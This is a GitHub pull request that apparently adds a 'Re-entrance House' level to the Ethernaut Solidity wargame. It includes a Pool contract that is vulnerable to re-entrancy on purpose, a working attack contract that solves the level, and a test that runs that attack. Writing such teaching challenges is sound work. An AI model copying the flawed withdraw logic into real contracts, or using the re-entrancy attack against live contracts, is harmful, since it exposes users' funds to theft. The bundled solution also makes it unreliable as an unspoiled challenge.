Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

New lvl proposal ReentranceHouse #696

Open
wants to merge 11 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
9 changes: 9 additions & 0 deletions client/src/gamedata/authors.json
Original file line number Diff line number Diff line change
Expand Up @@ -147,6 +147,15 @@
"websites": [
"https://www.linkedin.com/in/kstasi/"
]
},
"clauBv23": {
"name": [
"Claudia Barcelo"
],
"emails": ["[email protected]"],
"websites": [
"https://github.com/clauBv23"
]
}
}
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
Welcome to the Gambling World,

This instance represents a Betting House, as a participant, you're granted 5 Pool Deposit Tokens.

Could you master the art of strategic gambling and become a bettor?
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
Cheers!!! You've gained a crucial lesson: never bet on seemingly harmless external calls.
Always assume that the receiver of the funds can be another contract, and letting the contracts in an inconsistent state could mess up the logic, even though the function is guarded.

Re-entrancy has many faces and you should always be prepared for it. Don't be outbet!
15 changes: 15 additions & 0 deletions client/src/gamedata/gamedata.json
Original file line number Diff line number Diff line change
Expand Up @@ -461,6 +461,21 @@
"deployId": "29",
"instanceGas": 250000,
"author": "AgeManning"
},
{
"name": "Re-entrance House",
"created": "2024-01-08",
"difficulty": "6",
"description": "reentrance_house.md",
"completedDescription": "reentrance_house_completed.md",
"levelContract": "ReentranceHouseFactory.sol",
"instanceContract": "ReentranceHouse.sol",
"revealCode": true,
"deployParams": [],
"deployFunds": 0,
"deployId": "30",
"instanceGas": 5000000,
"author": "clauBv23"
}
]
}
37 changes: 37 additions & 0 deletions contracts/contracts/attacks/ReentranceHouseAttack.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,37 @@
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "../levels/ReentranceHouse.sol";

contract ReentranceHouseAttack {
ReentranceHouse target;
Pool pool;
PoolToken depositToken;

constructor(address payable target_) payable {
target = ReentranceHouse(target_);
}

function setNeededParameters(
address payable pool_,
address depositToken_
) external {
pool = Pool(pool_);
depositToken = PoolToken(depositToken_);
}

function attack() external payable {
depositToken.approve(address(pool), 5);
pool.deposit{value: 0.001 ether}(5);
pool.withdrawAll();
}

receive() external payable {
// approve
depositToken.approve(address(pool), 5);
pool.deposit(5);
pool.lockDeposits();
target.makeBet(tx.origin);
}
}
125 changes: 125 additions & 0 deletions contracts/contracts/levels/ReentranceHouse.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,125 @@
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import {ERC20} from "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import {Ownable} from "openzeppelin-contracts-08/access/Ownable.sol";
import {ReentrancyGuard} from "openzeppelin-contracts-08/security/ReentrancyGuard.sol";

contract ReentranceHouse {
address private pool;
uint256 private constant BET_PRICE = 20;
mapping(address => bool) private bettors;

error InsufficientFunds();
error FundsNotLocked();

constructor(address pool_) {
pool = pool_;
}

function makeBet(address bettor_) external {
if (Pool(pool).balanceOf(msg.sender) < BET_PRICE)
revert InsufficientFunds();
if (!Pool(pool).depositsLocked(msg.sender)) revert FundsNotLocked();
bettors[bettor_] = true;
}

function isBettor(address bettor_) external view returns (bool) {
return bettors[bettor_];
}
}

contract Pool is ReentrancyGuard {
address private wrappedToken;
address private depositToken;

mapping(address => uint256) private depositedEther;
mapping(address => uint256) private depositedPDT;
mapping(address => bool) private depositsLockedMap;

error InvalidDeposit();
error AlreadyDeposited();
error InsufficientAllowance();

constructor(address wrappedToken_, address depositToken_) {
wrappedToken = wrappedToken_;
depositToken = depositToken_;
}

/**
* @dev Provide 10 wrapped tokens for 0.001 ether deposited and
* 1 wrapped token for 1 pool deposit token (PDT) deposited.
* The ether can only be deposited once per account.
*/
function deposit(uint256 value_) external payable {
uint256 _valueToMint;
// check to deposit ether
if (msg.value == 0.001 ether) {
if (depositedEther[msg.sender] != 0) revert AlreadyDeposited();
depositedEther[msg.sender] += msg.value;
_valueToMint += 10;
}
// check to deposit PDT
if (value_ > 0) {
if (
PoolToken(depositToken).allowance(msg.sender, address(this)) <
value_
) revert InsufficientAllowance();
depositedPDT[msg.sender] += value_;
PoolToken(depositToken).transferFrom(
msg.sender,
address(this),
value_
);
_valueToMint += value_;
}
if (_valueToMint == 0) revert InvalidDeposit();
PoolToken(wrappedToken).mint(msg.sender, _valueToMint);
}

function withdrawAll() external nonReentrant {
// send the PDT to the user
uint256 _depositedValue = depositedPDT[msg.sender];
if (_depositedValue > 0) {
depositedPDT[msg.sender] = 0;
PoolToken(depositToken).transfer(msg.sender, _depositedValue);
}

// send the ether to the user
_depositedValue = depositedEther[msg.sender];
if (_depositedValue > 0) {
depositedEther[msg.sender] = 0;
payable(msg.sender).call{value: _depositedValue}("");
}

PoolToken(wrappedToken).burn(msg.sender, balanceOf(msg.sender));
}

function lockDeposits() external {
depositsLockedMap[msg.sender] = true;
}

function depositsLocked(address account_) external view returns (bool) {
return depositsLockedMap[account_];
}

function balanceOf(address account_) public view returns (uint256) {
return PoolToken(wrappedToken).balanceOf(account_);
}
}

contract PoolToken is ERC20, Ownable {
constructor(
string memory name_,
string memory symbol_
) ERC20(name_, symbol_) Ownable() {}

function mint(address account, uint256 amount) external onlyOwner {
_mint(account, amount);
}

function burn(address account, uint256 amount) external onlyOwner {
_burn(account, amount);
}
}
37 changes: 37 additions & 0 deletions contracts/contracts/levels/ReentranceHouseFactory.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,37 @@
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "./base/Level.sol";
import "./ReentranceHouse.sol";

contract ReentranceHouseFactory is Level {
function createInstance(
address _player
) public payable override returns (address) {
_player;

PoolToken _wrappedToken = new PoolToken("PoolWrappedToken", "PWT");
PoolToken _depositToken = new PoolToken("PoolDepositToken", "PDT");

Pool pool = new Pool(address(_wrappedToken), address(_depositToken));
ReentranceHouse instance = new ReentranceHouse(address(pool));
_depositToken.mint(_player, 5);

// set pool as tokens owners
_wrappedToken.transferOwnership(address(pool));
_depositToken.transferOwnership(address(pool));

return address(instance);
}

function validateInstance(
address payable _instance,
address _player
) public view override returns (bool) {
ReentranceHouse instance = ReentranceHouse(_instance);
return instance.isBettor(_player);
}

receive() external payable {}
}
82 changes: 82 additions & 0 deletions contracts/test/levels/ReentranceHouse.test.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,82 @@
/*eslint no-undef: "off"*/
const utils = require('../utils/TestUtils');


const ReentranceHouse = artifacts.require('./levels/ReentranceHouse.sol');
const ReentranceHouseFactory = artifacts.require('./levels/ReentranceHouseFactory.sol');
const ReentranceHouseAttack = artifacts.require('./attacks/ReentranceHouseAttack.sol');
const Pool = artifacts.require('Pool');
const PoolToken = artifacts.require('PoolToken');

contract('ReentranceHouse', function (accounts) {
let ethernaut;
let level;
let instance;
let player = accounts[0];

let pool;
let poolDepositToken;


before(async function () {
ethernaut = await utils.getEthernautWithStatsProxy();
level = await ReentranceHouseFactory.new();
await ethernaut.registerLevel(level.address);
instance = await utils.createLevelInstance(
ethernaut,
level.address,
player,
ReentranceHouse,
{ from: player }
);

pool = await Pool.at(await getAddressFromStorage(instance.address, 0));
poolDepositToken = await PoolToken.at(await getAddressFromStorage(pool.address, 2));
});

describe('instance', function () {
it('should not be immediately solvable', async function () {
// make sure the factory fails
const completed = await utils.submitLevelInstance(
ethernaut,
level.address,
instance.address,
player
);
assert.isFalse(completed);
});

it('should not be bettor', async function () {
// turnSwitchOn() should revert on standard call from player
const isBettor = await instance.isBettor(player);
assert.isFalse(isBettor);
});

it('should allow the player to solve the level', async function() {
const attackerFunds = 0.01;
const attacker = await ReentranceHouseAttack.new(instance.address, {
value: web3.utils.toWei(attackerFunds.toString(), 'ether'),
});

await poolDepositToken.transfer(attacker.address, 5, {from: player});
await attacker.setNeededParameters(pool.address, poolDepositToken.address);
await attacker.attack()
const completed = await utils.submitLevelInstance(
ethernaut,
level.address,
instance.address,
player
)

assert.isTrue(completed)
});

});
});


// A function to get address from storage.
let getAddressFromStorage = async function (instanceAddress, slot) {
let slotValue = await web3.eth.getStorageAt(instanceAddress, slot);
return '0x' + slotValue.slice(26);
};